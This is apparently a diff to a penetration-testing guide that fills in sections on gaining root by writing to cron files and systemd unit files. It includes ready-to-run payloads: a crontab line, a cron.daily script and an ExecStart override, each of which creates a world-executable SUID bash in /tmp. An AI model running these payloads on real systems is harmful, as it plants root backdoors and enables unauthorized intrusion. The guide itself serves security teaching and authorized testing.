f

Author: carlospolop

src/linux-hardening/privilege-escalation/write-to-root.md

@@ -37,11 +37,97 @@ chmod +x pre-commit
 
 ### Cron & Time files
 
-TODO
+If you can **write cron-related files that root executes**, you can usually get code execution the next time the job runs. Interesting targets include:
+
+- `/etc/crontab`
+- `/etc/cron.d/*`
+- `/etc/cron.hourly/*`, `/etc/cron.daily/*`, `/etc/cron.weekly/*`, `/etc/cron.monthly/*`
+- Root's own crontab in `/var/spool/cron/` or `/var/spool/cron/crontabs/`
+- `systemd` timers and the services they trigger
+
+Quick checks:
+
+```bash
+ls -la /etc/crontab /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly 2>/dev/null
+find /var/spool/cron* -maxdepth 2 -type f -ls 2>/dev/null
+systemctl list-timers --all 2>/dev/null
+grep -R "run-parts\\|cron" /etc/crontab /etc/cron.* /etc/cron.d 2>/dev/null
+```
+
+Typical abuse paths:
+
+- **Append a new root cron job** to `/etc/crontab` or a file in `/etc/cron.d/`
+- **Replace a script** already executed by `run-parts`
+- **Backdoor an existing timer target** by modifying the script or binary it launches
+
+Minimal cron payload example:
+
+```bash
+echo '* * * * * root cp /bin/bash /tmp/rootbash && chown root:root /tmp/rootbash && chmod 4777 /tmp/rootbash' >> /etc/crontab
+```
+
+If you can only write inside a cron directory used by `run-parts`, drop an executable file there instead:
+
+```bash
+cat > /etc/cron.daily/backup <<'EOF'
+#!/bin/sh
+cp /bin/bash /tmp/rootbash
+chown root:root /tmp/rootbash
+chmod 4777 /tmp/rootbash
+EOF
+chmod +x /etc/cron.daily/backup
+```
+
+Notes:
+
+- `run-parts` usually ignores filenames containing dots, so prefer names like `backup` instead of `backup.sh`.
+- Some distros use `anacron` or `systemd` timers instead of classic cron, but the abuse idea is the same: **modify what root will execute later**.
 
 ### Service & Socket files
 
-TODO
+If you can write **`systemd` unit files** or files referenced by them, you may be able to get code execution as root by reloading and restarting the unit, or by waiting for the service/socket activation path to trigger.
+
+Interesting targets include:
+
+- `/etc/systemd/system/*.service`
+- `/etc/systemd/system/*.socket`
+- Drop-in overrides in `/etc/systemd/system/<unit>.d/*.conf`
+- Service scripts/binaries referenced by `ExecStart=`, `ExecStartPre=`, `ExecStartPost=`
+- Writable `EnvironmentFile=` paths loaded by a root service
+
+Quick checks:
+
+```bash
+ls -la /etc/systemd/system /lib/systemd/system 2>/dev/null
+systemctl list-units --type=service --all 2>/dev/null
+systemctl list-units --type=socket --all 2>/dev/null
+grep -R "^ExecStart=\\|^EnvironmentFile=\\|^ListenStream=" /etc/systemd/system /lib/systemd/system 2>/dev/null
+```
+
+Common abuse paths:
+
+- **Overwrite `ExecStart=`** in a root-owned service unit you can modify
+- **Add a drop-in override** with a malicious `ExecStart=` and clear the old one first
+- **Backdoor the script/binary** already referenced by the unit
+- **Hijack a socket-activated service** by modifying the corresponding `.service` file that starts when the socket receives a connection
+
+Example malicious override:
+
+```ini
+[Service]
+ExecStart=
+ExecStart=/bin/sh -c 'cp /bin/bash /tmp/rootbash && chown root:root /tmp/rootbash && chmod 4777 /tmp/rootbash'
+```
+
+Typical activation flow:
+
+```bash
+systemctl daemon-reload
+systemctl restart vulnerable.service
+# or trigger the socket-backed service by connecting to it
+```
+
+If you cannot restart services yourself but can edit a socket-activated unit, you may only need to **wait for a client connection** to trigger execution of the backdoored service as root.
 
 ### Overwrite a restrictive `php.ini` used by a privileged PHP sandbox
 
@@ -112,4 +198,3 @@ chmod +x server-command
 - [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html)
 
 {{#include ../../banners/hacktricks-training.md}}
-